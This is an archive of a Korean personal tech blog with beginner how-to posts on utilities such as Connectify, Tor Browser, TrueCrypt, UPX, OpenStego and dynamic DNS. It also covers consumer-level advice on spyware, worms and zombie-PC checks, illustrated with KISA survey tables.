Connectify Hotspot 다운로드 경로

Connectify Hotspot 다운로드 링크 입니다. (네이버 소프트로 연결되어 있습니다. )

버젼은 원하시는 버젼을 쓰시면 됩니다.

Connectify Hotspot 사용 방법

가장 중요한 부분은 Connectify Hotspot 사용법을 알려드리도록 하겠습니다.

다운을 끝내신 후 Connectify Hotspot 를 키게 되시면 아래와 같은 사진을 볼 수 있으실 겁니다.

이제 Start Hotspot를 실행하셔서 노트북으로 와이파이존 으로 만드실 수 있습니다.

제대로 잘 작동 되었는 화면 입니다. 누군가나 자신이 와이파이로 연결을 하신 다면 어떤 기기가 연결 되었는지 자동으로 표시를 해줍니다.

스파이웨어 감염원인 및 치료법

진짜귀찮음 — Mon, 5 Aug 2013 23:42:34 +0900

☠ 스파이웨어

스파이웨어란?

스파이웨어는 사용자의 적합한 통지, 동의 또는 제어 없이 자체적으로 설치되거나 컴퓨터에서 실행될 수 있는 소프트웨어입니다.

스파이웨어는 컴퓨터를 감염시킨 후에 증상을 나타내지 않을 수도 있지만 많은 형태의 악성 소프트웨어 또는 원하지 않는 프로그램은 컴퓨터의 작동에 영향을 미칠 수 있습니다.

예를 들어 스파이웨어는 온라인 동작을 모니터하거나,

사용자에 대한 정보(개인 신상 정보 또는 다른 민감한 정보 포함)를 수집하거나,

컴퓨터의 설정을 변경하거나, 컴퓨터가 느리게 실행되는 원인으로 작용할 수 있습니다.

스파이웨어 감염 유입 원인

웹 사이트, 다운로드한 프로그램 또는 CD, DVD, 외장 하드 디스크 또는 다른 이동식 미디어에서 설치했을 수 있는 프로그램에 의해 원하지 않는 소프트웨어가 설치될 수 있습니다.

스파이웨어는 파일 공유, 화면 보호기 또는 검색 도구 모음과 같은 무료 소프트웨어를 통해 가장 일반적으로 설치됩니다.

스파이웨어 역기능 유형별 피해 횟수

통계명:역기능유형별피해횟수:애드웨어/스파이웨어1)
출 처 : 한국인터넷진흥원
기 간 : 년 / 2007~2007

단위 : 명
구분별		사례수	1회	2회	3~4회	5~9회	10~19회	20회이상	평균
구분별		명	명	명	명	명	명	명	회
계	소계	2,272	538	374	373	380	368	239	8.58
성별	남성	1,398	295	241	227	239	227	168	8.85
성별	여성	874	242	132	146	142	141	72	8.14
연령	10대	326	106	51	44	43	52	31	8.13
연령	20대	635	150	109	111	104	99	62	8.14
연령	30대	650	135	108	103	119	112	74	8.93
연령	40대	484	102	76	82	92	81	51	8.44
연령	50대	177	45	31	33	23	25	21	###

스파이웨어 치료법

최신 스파이웨어 방지 소프트웨어를 실행하여 컴퓨터에 자체 설치를 시도하는 소프트웨어를 모니터하고 사용자 동의 없이 설치된 소프트웨어 를 검사하고 제거하는 것이 스파이웨어를 제거 하는 좋은 방법 입니다. 스파이웨어 및 사용자 동의 없이 설치된 소프트웨어 제거에 대한 자세한 내용은 Windows Defender 사용 및 컴퓨터에서 스파이웨어 제거를 참조

웜 바이러스 감염 원인 및 치료방법

진짜귀찮음 — Sun, 26 May 2013 19:45:50 +0900

웜 바이러스란?

웜 바이러스란 스스로 복제를 할 수 있는 바이러스 일종입니다. 다른 컴퓨터 바이러스는 바이러스 파일을 실행시켜야 감염되는 반면 웜 바이러스는 독자적으로 바이러스를 실행 시킬 수 있어 별다른 실행 파일이 필요가 없습니다.

웜 바이러스는 파일 전송기능을 착취 하는 것 뿐만 아니라, 다른 파일에 스스로 전이가 가능하고 네트워크에 잠식하여 복사파일을 중재작업 없이 전송 할 수 있는 것이 다른 바이러스 들과의 차이점이라고 볼 수 있겠습니다.

웜 바이러스 감염원인

통계명 : 웜·바이러스 감염 경로별 피해 경험¹⁾
출 처 : 한국인터넷진흥원
기 간 : 년 / 2007~2007

단위 : 명,%
구분별		사례수 및 피해 경험별	사례수	비율
구분별		사례수 및 피해 경험별	명	%
계	소계	사례수	2,235	-
계	소계	다운받은 프로그램	1,980	88.6
계	소계	특정 웹사이트/동영상/메신저	1,570	70.2
계	소계	전자우편	948	42.4
계	소계	내부 네트워크	834	37.3
계	소계	외부의 강제침투	595	26.6
계	소계	저장매체	442	19.8
계	소계	기타	203	9.1
성별	남성	사례수	1,291	-
성별	남성	다운받은 프로그램	1,144	88.6
성별	남성	특정 웹사이트/동영상/메신저	913	70.8
성별	남성	전자우편	577	44.7
성별	남성	내부 네트워크	483	37.4
성별	남성	외부의 강제침투	349	27.1
성별	남성	저장매체	277	21.5
성별	남성	기타	120	9.3
성별	여성	사례수	944	-
성별	여성	다운받은 프로그램	836	88.5
성별	여성	특정 웹사이트/동영상/메신저	657	69.5
성별	여성	전자우편	371	39.3
성별	여성	내부 네트워크	352	37.3
성별	여성	외부의 강제침투	245	26.0
성별	여성	저장매체	165	17.5
성별	여성	기타	84	8.9
연령	10대	사례수	355	-
연령	10대	다운받은 프로그램	321	90.7
연령	10대	특정 웹사이트/동영상/메신저	230	64.9
연령	10대	전자우편	121	34.2
연령	10대	내부 네트워크	132	37.4
연령	10대	외부의 강제침투	126	35.6
연령	10대	저장매체	59	16.6
연령	10대	기타	36	10.2
연령	20대	사례수	604	-
연령	20대	다운받은 프로그램	530	87.8
연령	20대	특정 웹사이트/동영상/메신저	431	71.3
연령	20대	전자우편	254	42.0
연령	20대	내부 네트워크	220	36.4
연령	20대	외부의 강제침투	128	21.2
연령	20대	저장매체	118	19.6
연령	20대	기타	52	8.6
연령	30대	사례수	612	-
연령	30대	다운받은 프로그램	529	86.5
연령	30대	특정 웹사이트/동영상/메신저	434	70.9
연령	30대	전자우편	276	45.1
연령	30대	내부 네트워크	248	40.6
연령	30대	외부의 강제침투	113	18.5
연령	30대	저장매체	115	18.7
연령	30대	기타	52	8.5
연령	40대	사례수	480	-
연령	40대	다운받은 프로그램	434	90.4
연령	40대	특정 웹사이트/동영상/메신저	339	70.5
연령	40대	전자우편	213	44.3
연령	40대	내부 네트워크	171	35.6
연령	40대	외부의 강제침투	165	34.3
연령	40대	저장매체	103	21.5
연령	40대	기타	47	9.8
연령	50대	사례수	185	-
연령	50대	다운받은 프로그램	165	89.3
연령	50대	특정 웹사이트/동영상/메신저	136	73.9
연령	50대	전자우편	85	46.0
연령	50대	내부 네트워크	63	34.0
연령	50대	외부의 강제침투	62	33.7
연령	50대	저장매체	47	25.2
연령	50대	기타	16	8.8

웜 바이러스는 아주 다양한 방법으로 감염되기 때문에 개인 사용자는 정확히 어떡해 감염되었다!! 라는 것을 쉽게 알아 낼 수가 없습니다.

보통 웜 바이러스가 걸리는 PC 는 보안 패치를 최신으로 하지 않은 PC에 쉽게 감염이 됩니다.

그리고 악의적인 스팸 메일을 보내는 사람(악인) 으로 인해 PC 가 웜 바이러스에 감염이 되는 경우도 많습니다.

웜 바이러스 감염 방지 및 치료법

우선 Window 보안 패치를 최신으로 해주시길 바랍니다.

Window Update 는 제어판에 있으므로 확인하시고 최신으로 업데이트 해주시길 바랍니다.

그리고 신원이 불명확 하고 의심이가는 메일은 열어보지 마시고 바로 삭제를 해주시길 바랍니다.

웜 바이러스를 치료하기 위해서는 성능 좋은 백신을 사용하시면....^^

리눅스 iso 파일 다운로드

진짜귀찮음 — Thu, 14 Mar 2013 23:36:10 +0900

오늘은 리눅스 iso 파일을 간편하게 다운로드 할 수있는 사이트를 알려 드릴려고 합니다.

Cent os

데비안

우분투 등

여러가지 리눅스 iso 파일이 올라와 있습니다.

리눅스 iso 파일 다운로드 받기 예시

다운 받는 곳 : http://ftp.daum.net/

다운 예시를 들기 위해 저는 Cent os 로 들어가 보도록 하겠습니다.

구버젼 부터 최신 버젼의 iso 파일이 올라와 있는것을 볼 수가 있습니다.

받고 싶은 버젼에 들어가신후 iso 파일을 받으시면 되겠습니다.^^

(마감) 티스토리 블로그 초대장 배포

진짜귀찮음 — Sun, 10 Mar 2013 23:09:14 +0900

티스토리 초대장 4장을 배포하겟습니다.

댓글로 왜 티스토리 블로그를 하고 싶은지 달아주시길 바랍니다.

댓글의 내용을 보고 초대장을 배포하도록 하겠습니다.

배포 후 2일동안 블로그를 개설하지 않는다면 초대장을 회수하도록 하겠습니다.

받지 못하신들 분께는 죄송한 생각이 먼저 들고요 ㅠ 다음 초대장이 제게 들어올떄 다시 한번도 배포하도록 하겠습니다.

무료 도메인 No-ip 가입 및 사용법

진짜귀찮음 — Fri, 15 Feb 2013 13:10:52 +0900

오랫만에 포스팅을 해보는군요.

오늘은 무료 도메인 No-ip 에 대해 포스팅 해보도록 하겠습니다.

No-ip 가입하기

그러시면 가입이 완료 되었습니다.

이제 No-ip 다운로드 및 사용법을 알려드리도록 하겠습니다.

No-ip 다운로드

다운로드를 합시다~~

다운로드가 완료되었습니다.

No-ip 호스트 설정법

유형 호스트에는 문안하게 DNS 호스트로 설정하시길 바랍니다.

(바꾸실 분은 바꾸셔도 됩니다.)

이렇게 호스트 추가가 완료 되었습니다.

No-ip 사용하기

로그인을 해주세요.

이런식의 창이 하나 뜰것 입니다.

만약 호스트 주소가 보이지 않는다!!!!

위에 보이시는 Show only selected hosts 체크를 해제해주세요.

호스트 주소를 체크 해주시고 Save 를 눌러주시면 설정이 완료 됩니다.

No-ip 설정이 완료 된 것이므로 No-ip 도메인을 마음껏 사용하시면 되겠습니다^^.

무료 DNS [Codns] 가입 및 다운방법,사용법

진짜귀찮음 — Fri, 21 Dec 2012 12:22:05 +0900

오늘은 대표적은 한국 무료 DNS 인 Codns를 소개해 드릴려고 합니다.

Codns 가입 방법

가입할때 인증키를 꼭 메모장이나 자신이 찾기 쉬운 곳에 저장을 해두세요!!!

만약 인증키를 까먹고 저장을 안했다?!! 그래도 괜찮습니다. 찾는 방법이 있기 때문이죠.

그러시면 아래 사진과 같은 웹페이지로 이동하게 됩니다.

위 입력칸을 입력하시고 찾기를 누르세요!! 그러시면 인증번호 찾기가 완료 됩니다.

Codns 다운방법

codns 다운로드 링크

Codns 사용하기

실행파일입니다. 실행을 해주세요.

다음을 누르신후 완료 버튼을 눌러주세요~

이로써 Codns 포스팅을 끝마치도록 하겠습니다.

UPX 다운로드 및 간단한 사용방법 설명

진짜귀찮음 — Wed, 28 Nov 2012 11:34:53 +0900

오늘은 upx 다운로드 및 사용방법을 포스팅 해보도록 하겠습니다.

늘 그렇듯이 다운로드는 마지막에 포스트 하도록 하겠습니다.

UPX 사용방법

우선 편의를 위해 C:\ 폴더안에 영어이름으로된 폴더 한개를 만드신 후 다운 받으신 UPX 파일을 넣어 주시길 바랍니다.

저는 test 라는 폴더로 포스팅 하겠습니다.

그리고 UPX 파일과 합칠 파일도 test 폴더에 넣어주시길 바랍니다.

아무 exe 실행파일을 가져오도록 하겠습니다.

여기서 부터 시작점이라고 할 수있습니다.

cmd 창을 켜주시길 바랍니다.

UPX 다운로드

언제나 최신판을 다운 받으시길 원하는 필자기 때문에 UPX 사이트를 링크 하도록 하겠습니다.

UPX 다운로드

윈라 WinRAR (한글판) 다운 및 소개

진짜귀찮음 — Thu, 15 Nov 2012 20:25:40 +0900

오늘은 윈라 WinRAR 을 소개해 드리도록 하겠습니다.

윈라 WinRAR 다운로드

윈라 WinRAR(한글판) 다운하로 가기

설치를 눌러주세요.

연결은 다해주시는것이 편하고요 인터페이스는 원하시는 것을 체크하셔서 설정을 맞추어 주셔도됩니다.

완료를 누르시면 윈라 WinRAR 설치가 완료되었습니다^^

윈라 WinRAR 사용법

사용법은 보통 압축 프로그램이랑 비슷하니 생략하도록하겠습니다~~

토르 브라우저 다운 및 사용법

진짜귀찮음 — Mon, 5 Nov 2012 21:04:30 +0900

토르브라우저 최신버젼 포스팅 바로가기

토르 브라우저 다운 및 사용법을 포스팅 해보도록 하겠습니다.

다운로드는 가장 마지막 쪽에 올려 놓도록 하겠습니다.

토르 브라우저란?

토르 브라우저는 아이피를 여러번 우회하여 인터넷을 서핑할때 사용 하는 것입니다.

막힌 사이트, 차단된 사이트 등 여러 분야로 유용하게 사용 됩니다.

토르 브라우저 사용법

토르 브라우저 아이콘 입니다. 아이콘을 눌러 실행을 합니다.

실행 화면 입니다. 위에 보이시는 로딩이 다되야 정상적인 작동을 하게 됩니다. 잠시만 기다려 주시면

밑 사진과 같은 창이 뜨게 됩니다.

이제 웹 서핑을 해봐야 겠죠?

토르 브라우저로 제 블로기가 들어와 졌습니다.

이제 다운로드 파일을 올리도록 하겠습니다.

토르 브라우저 다운로드하기

용량이 높아 분할 압축하여 올리도록 하겠습니다.^^

분할 압축파일을 전부 받으신후 압축을 풀으셔야 제대로 압축이 풀립니다.

댓글에 문의가 올라와있길래 이렇게 안내해드립니다.

애드센스 광고달기(카테고리)

진짜귀찮음 — Fri, 2 Nov 2012 21:00:51 +0900

애드센스 광고를 밑 사진 처럼 달고 싶으신 분이 계실것입니다.

이런 식으로 말이죠 카테고리에 에드센스 광고를 단 것입니다.

자! 이제 이런식으로 에드센스 광고를 다는 법을 포스팅 해보도록 하겠습니다.

에드센스 광고 카테고리에 달기

우선 admin 창에 가신후 HTML/CSS 칸에 가주시길 바랍니다.

그러시면 Skin.html 창이 있을 것입니다.

이로써 카테고리 광고 달기 포스팅을 끝내도록 하겠습니다^^

티스토리 애드센스 상단광고 2개 달기

진짜귀찮음 — Wed, 31 Oct 2012 13:30:18 +0900

티스토리 블로그에 들어가시면 밑 사진과 같은 애드센스 광고가 달려 있는 곳 들이있습니다.

이런식으로 광고를 다는 법을 알려드리도록 하겠습니다.

상단 광고 2개달기

어려울것 같지만 아주 쉽습니다.

admin 관리 창에 들어가신 후 HTML/CSS 편집 칸에 들어가십니다.

skin.html

이라는 칸이 바로 보이실 것입니다.

그러시면

티스토리 애드센스 상단광고 2개 달기가 완료됩니다.

간단히 웹 ip 알아내는 방법 (동영상 강의)

진짜귀찮음 — Sat, 6 Oct 2012 20:22:50 +0900

오늘은 아주 간단히 누구나 웹 ip 를 알아 낼 수 있는 방법을 소개해드릴려고 합니다^^

바이러스 검사 웹사이트-바이러스 토탈

진짜귀찮음 — Sat, 18 Aug 2012 13:05:39 +0900

오늘은 웹사이트에 내제 되있는 여러가지 다양한 백신으로 바이러스를 검사 할 수 있는 웹사이트 바이러스 토탈을 소개해드릴려고 합니다.

사용법은 아주 간단 합니다.

바이러스 토탈 사용법~

바이러스 토탈 사이트 주소 : https://www.virustotal.com/ko/

처음 메인 화면입니다.

위 사진 처럼 해주시게 되면.

위 사진과 같이 파일을 선택하실수 있는 창이 뜹니다. 검사 하고 싶으신 파일을 선택해 주시길 바랍니다.

위 사진 후~

이런 식으로 바이러스 검사가 끝납니다.

다양한 전 세계 백신으로 검사가 이용 가능하니 정말 좋은 사이트 인것 같네요.

스테가노그래피-오픈스테고(드라마 '유령') 및 다운로드

진짜귀찮음 — Sun, 24 Jun 2012 23:01:19 +0900

안녕하세요

오늘은 제가 아주 재미있게 보고 있는 드라마에 나온 오픈스테고(스테가노그래피) 가 나왔길래 포스팅 한번 해보도록 하겠습니다.

오픈스테고(스테가노그래피) 사용법

파일 다운은 가장 마지막에 올리도록 하겠습니다.

다운을 하게 되시면 위와 같이 압축을 풀 수 있습니다.

폴더중 위와 같은 아이콘을 눌러주세요. 그러면 오픈스테고가 실행 됩니다.

처음에는 이런 프롬프트가 나오지만 조금만 기다리시면 완전한 오픈 스테고가 실행되게 됩니다.

자 이건 기본적인 오픈 스테가노 설정법입니다.

이제 비밀번호 거는 법을 알려드리도록 하겠습니다. 이미 눈치챈 분들도 계시겠군요.

어때요? 정말 간단한 원리죠!!

이것으로 오픈스테고(스테가노그래피) 사용법의 포스팅은 끝마치도록 하겠습니다.

오픈스테고(스테가노그래피) 산출 방법

산출 방법은 더욱 더 간단합니다.

산출하기도 정말 간단합니다.^^

오픈스테고(스테가노그래피) 다운로드

OpenStego.zip

다운로드 파일입니다.^^

오픈스테고(스테가노그래피) 연습 사진

비밀번호: 신사과

파일은 압축파일에 함께 넣어 두었습니다.

많으신 분들이 검정 화면에서 멈춘다는 문의를 해주셨습니다.

그 문제는 자바 JDK 나 자바 JRE 를 다운 받으시면 해결 되실겁니다^^

자신의 IP 주소를 간단하게 알아보자!!

진짜귀찮음 — Tue, 29 May 2012 00:20:14 +0900

오늘은 자신의 IP 주소를 아주 간단하게 알아 볼 수 있는 방법을 포스팅 해보도록 하겠습니다.

자신의 IP 주소 알아보기 첫번째~

우선

시작 →실행 에서 cmd 를 쳐줍니다.

그러면 명령프롬프트 창이 뜨게 되는데요~!

ipconfig 를 입력해줍니다.

엔터~!

IP Address 란에 자신의 IP 주소가 나오게 됩니다. (*위 사진은 제가 일부로 IP를 지운 사진입니다.)

자신의 IP 주소 알아보기 두번째~

이제 두번째 방법을 알려드리도록 하겠습니다.

우선 제어판으로 들어갑니다.~

네트워크 연결로 들어갑니다.

네트워크 연결로 들어가시게 되면 위 아이콘과 같이 생긴 로컬 영역 연결 이 있을껍니다.

IP 주소를 알 수 있게 됩니다. (위 사진은 제가 IP 주소를 지운 사진 입니다.)

좀비 PC 치료법!!

진짜귀찮음 — Sun, 27 May 2012 21:03:48 +0900

오늘은 좀비 PC 치료법에 관해 포스팅 하도록 하겠습니다.

가장 간단한 방법인 KISA 보호나라 를 통해 치료하는법을 알려드리도록 하겠습니다.

좀비 PC 치료법!!

우선 http://www.boho.or.kr/ 홈페이지에 접속합니다.!!

점검하기 탭에 들어갑니다.

사진에 네모 박스 보이시죠?

Conficker 전용백신 를 클릭합니다. 그러시면 좀비 PC 치료 전용 백신 다운 링크로 연결됩니다.!!

전용백신 다운로드를 합시다.

다운로드가 완료 되었으면 치료를 해야겠죠?

다운로드 아이콘입니다. 실행 go go 싱~~

검사시작 을 해볼까요?!!

검사가 끝나면 아래 사진과 같은 사진이 뜨게 됩니다. 저는 감염되지 않은지라 바이러스가 없다고 하네요ㅎ

있으시면 전체치료 버튼을 눌러 치료를 해주시면 됩니다.^^

이로서 좀비 PC 치료법!! 포스팅을 끝마치겠습니다~^^ 감사합니다.

좀비 PC 확인법 및 치료법!!

진짜귀찮음 — Sat, 26 May 2012 18:10:39 +0900

안녕하세요~^^ 꽤나 오랫만에 포스팅을 하는군요.

오늘은 요즘 화두가 되고 있는 좀비 PC 확인법 및 치료법에 대해 포스팅 해보도록 하겠습니다.

치료법은 포스팅 가장 하단에 링크해두도록 하겠습니다.

좀비 PC 확인법~

좀비 PC 확인법에는 여러가지 방법이 있습니다.

우선 첫번째로 가장 많이 알려진 방법을 알려드리겠습니다.

첫번째 방법

우선 실행에 cmd 를 쳐서 명령프롬프트에 들어갑니다.

명령프롬프트의 모습입니다.

명령프롬프트에 들어가신 후 아래 사진과 같이 netstat 라는 명령어를 쳐주시길 바랍니다.

그럼 위 사진과 같이 접속된 아이피가 뜰텐데요. 그 아이피중 8080 포트나 8000 같은 포트가 존재하면 좀비PC 에 감염되신 확률이 높습니다.

저는 개인적으로 이 방법은 추천드리지 않고 싶네요... 그 이유는 무조건 8080 포트나 8000 같은 포트가 아니여도 좀비 PC 에 감염된걸수 도 있기 때문이죠.

서버 파일을 만들때 크래커가 마음대로 포트를 설정할수 있기 때문이죠.

두번째 방법

C:\WINDOWS\NLDRV

라는 폴더에 111 이라는 폴더가 있으면 좀비 PC 에 감염 되신겁니다.

* 위 사진의 폴더는 예시를 보여드리기 위해 제가 임의로 만든 폴더 입니다.

이런 방법들이 있습니다.

좀비 PC 확인법을 더욱 알아보고 싶은 분들께서는

http://omme.tistory.com/114

이 블로그로 들어가시길 바랍니다^^

치료법의 링크는~

좀비 PC 치료법!!

TrueCrypt 디스크 암호화 다운 및 사용법(암호화 프로그램)

진짜귀찮음 — Mon, 20 Feb 2012 00:00:00 +0900

오늘은 TrueCrypt 라는 강력한 디스크 암호화 툴을 소개하려고 합니다.
이 유틸리티 TrueCrypt 는 자신이 남에게 보여주고 싶지 않은 파일을 넣거나 usb 보안등 다양한 용도로 디스크를 암호화 시켜주는 유틸리티입니다.

TrueCrypt 다운로드

langpack-ko-0.1.0-for-truecrypt-7.zip

TrueCrypt Setup 7.1a.exe

위 파일을 한 폴더에 넣으신 후 다운을 하시면 자동으로 한글 다운로드와 한글 패치가 됩니다.

TrueCrypt 설치법

다운로드 파일을 실행해 줍니다.

설치가 완료 되었습니다.

TrueCrypt 볼륨 생성법

실행 하도록 합시다~

볼륨 만들기 (C) 를 보이실 겁니다. 그것을 눌러 줍시다.

파일이름은 파일 선택하기를 이용해 만드셔도 되고 마음대로 지정 하셔도 됩니다. 저는 god 으로 설정하도록 하겠습니다.

기본 설정으로 하겠습니다.

용량 크기는 각자의 취향에 맞게 설정해 주시면 됩니다.

비밀번호를 입력하시면 됩니다. 이 유틸리티에서는 20자리를 추천하지만 몇 글자를 하셔도 상관 없습니다.

포맷을 눌러주세요. 그러면 볼륨 생성이 완료 됩니다.

TrueCrypt 사용법

파일 선택(F) 을 눌러 줍니다.

제가 만든 god 파일이 보이는 군요~ 그것을 열도록 하겠습니다.

추가 된 모습을 보실 수가 있습니다. 원하는 디스크의 이름 아무거나 선택하시면 됩니다. 저는 M 을 선택하겠습니다.
이제 삽입(M) 을 눌러주세요.

삽입 옵션에서 옵션을 설정해주실 분을 설정을 하시고 설정을 하시지 않으실 분들은 안하셔도 무방합니다.그럼 방금 볼륨을 만드실때 지정해 주신 비밀번호를 입력해 주세요.

자!! 이제 위 사진처럼 추가 되신것을 아실수 있습니다.
내컴퓨터 에 가셔서 디스크를 확인해 주세요.

자!!! 디스크 M 생성된것을 확인 하실수가 있습니다.
디스크 M 에 파일을 넣으신후

꺼내기를 하시면 디스크가 사라지며 숨겨지게 됩니다.그리고 종료는 누리시면 끝!! (다시 디스크 M을 나타나게 하실려면 삽입하시면 됩니다.)
이로써 TrueCrypt 의 포스팅을 끝마치도록 하겠습니다.

CleanAX 엑티브삭제 사용법 및 다운 (국가 사이버 안전센터 제작)

진짜귀찮음 — Sun, 19 Feb 2012 18:12:33 +0900

사용하지 않는 엑티브 X를 삭제하고 싶으시죠?
제가 아주 좋은 엑티브X 삭제 프로그램인 CleanAX 를 소개해드리도록 하겠습니다.

CleanAX 설치법

설치 파일을 다운 받으시면 위가 같은 설치파일이 받아 집니다.

확인을 누르신 후 몇초만 기다리시면~~~

순식간에 설치가 완료 됩니다.
이제 바탕화면에 가보시면 밑 사진과 같은 바로가기 아이콘이 생성되 있는것을 확인하실수 있습니다.

실행을 해봐야겠죠? GoGo

확인을 누르시면 제대로 된 실행이 실행됩니다.

필요하지 않은 엑티브X를 선택하신 후 삭제 하시면 됩니다~~

CleanAX 다운로드

setup_cleanax.exe

사진파일을 아이콘 (ico)로 전환해보자~(AveIcon)

진짜귀찮음 — Sat, 18 Feb 2012 10:48:41 +0900

오늘은 사진파일을 아이콘으로 전환해주는 유틸리티를 소개해드리려고 합니다.

AveIcon 사용법

위 사진은 AveIcon 실행 아이콘입니다.

실행을 하시면 위와 같은 화면이 나타나게 됩니다.
위 사진을 보시면 Drop a ICO file here 과 Drop a PNG file here 가 있습니다.
Drop a ICO file here 은 기존에 있던 아이콘을 넣으시면 되고요.
Drop a PNG file here 는 사진을 넣으시면 됩니다. 저는 Drop a PNG file here 칸에 제 블로그 사진을 넣어봤습니다.
(사진파일을 드래그 하셔서 칸에 넣으시면 됩니다.)

그러니 위와 같이 설정이 되더군요. 이제 네모난 칸에 있는것을 드래그 하셔서 원하는 폴더나 바탕하면에 놓으시면 아이콘 생성이 완료 됩니다.

만들어 진 아이콘의 예시입니다.

AveIcon 다운로드

aveicon(ico-png변환)-sy4319-744348.zip

구글크롬 소개 및 다양한 기능안내

진짜귀찮음 — Sun, 12 Feb 2012 12:16:27 +0900

오늘은 유용한 인터넷창인 구글크롬에 대해 포스팅 해보도록 하겠습니다.

구글크롬이란?

구글크롬이란 구글에서 오픈소스로 내놓은 인터넷창입니다. 익스플로러와 비슷한 종류라고 할 수있죠 저는 개인적으로 구글크롬이 더욱 많은 기능이 있다고 생각합니다. 현실이지만 말이죠 ㅎ

구글크롬 다운로드

구글크롬다운로드

다운로드 하시면 됩니다.

저는 이미 크롬을 사용하고 있는지라 바로 설치가 끝나는군요

구글크롬의 다양한 기능들

구글크롬의 아이콘입니다.

구글 크롬의 첫 실행화면입니다.
위 사진을 보시면 스패너 모양의 탭이 보이실 겁니다. 그 스패너 모양을 클릭해줍니다.

그러시면 위 사진과 같이 다양한 옵션들이 주르륵 나열 되게 됩니다.
우선 가장 필요시로 하는 북마크에 대해 소개해드리도록 하겠습니다. 북마크란 즐겨찾기라고 보시면 됩니다.
주소창 옆에 별모양을 누르시게 되면 북마크 지정이 가능합니다.

아래 사진은 새탭 기능 입니다.

이번에는 옵션 기능으로 넘어가도록 하겠습니다.

기본설정

환경설정

고급설정

확장프로그램

백그라운드

기록 알아보기

기록 알아보기란 간단합니다. 어떤 사이트를 방문했는지 어떤 파일을 다운로드 했는지 알 수 가 있습니다.

방문기록

다운로드

구글크롭 업데이트 하기

스패너 모양을 클릭하시면 구글크롬 정보 가 있습니다. 그 탭을 눌러주시길 바랍니다.

업데이트가 완료 됩니다.

웹스토어

구글크롬의 다양한 기능중 제가 가장 놀란 기능은 웹스토어 기능입니다. 여러가지 어플을 받아 구글크롬안에서 사용이 가능합니다.
웹스토어 는 옵션의 확장프로그램 들어가셔서 더 많은 확장 프로그램 다운로드 에 들어가시면됩니다.

밑 사진이 웹스토어에서 어플을 받은 사진입니다.
예를 들기 위해 YouTube 를 실행해 보겠습니다.

곧장 YouTube로 접속되는것을 보실수가 있습니다.
예시를 하나 더 들기로하겠습니다.

음악을 제조할수 있는 어플입니다. 한번 멋있어서 받아 보았습니다.

이것으로 구글크롬 소개 및 다양한 기능안내 포스팅을 마치겠습니다.

신고하기

진짜귀찮음 — Sat, 11 Feb 2012 21:30:43 +0900

댓글란에 신고하실점을 신고해주길 부탁드립니다.

*불법블로그 신고시 불법블로그의 사이트 주소도 입력해주시길 바랍니다.

불법블로그 찾는법 (자신의 글 도용 블로그찾기)

진짜귀찮음 — Sat, 11 Feb 2012 21:28:12 +0900

블로그를 운영중이시거나 카페운영및 포스팅을 하시는 분들은 다들 공감하실꺼라고 생각합니다.
자신이 힘겹게 쓴글을 다른 불법 펌로거 들 때문에 불법으로 자신이 쓴 글이 배포 된다 그럼 아주 짜증나고 미칠 노릇이죠.
수시로 확인하고 신고할 필요가 있습니다.
그래서 제가 오늘 자신의 글을 무단으로 퍼간 블로그나 카페등을 찾는 법을 알려드리도록 하겠습니다.

불법블로그 찾기!

구글블로그

구글에 있는 구글 웹사이트를 이용해 아주 쉽게 찾을 수가 있습니다.

위 검색창에 link:자신의 주소
예시를 보여드리기 위해 저 블로그 주소를 넣어보도록 하겠습니다.

저의 블로그는 무단으로 퍼간 사람이 없군요^^ 예시에는 최악이겟지만 다행이기도 하네요.
이런식으로 자신의 포스트를 앗아간 불법블로거들을 찾을수 있습니다.

추신의 말

불법블로그를 신고 하실때 혼자하면 안될 확률이 약간 있을 수도 있습니다. 그걸 방지하기위해 팀을 만들게 되었습니다.
팀블로그를 링크하도록 하겠습니다.

누볼라팀

위블로그에 가서 신고하기 탭에 가셔서 불법블로그 링크를 알려주시거나
제 블로그의 신고하기 탭에 가셔서 알려주시길 바랍니다.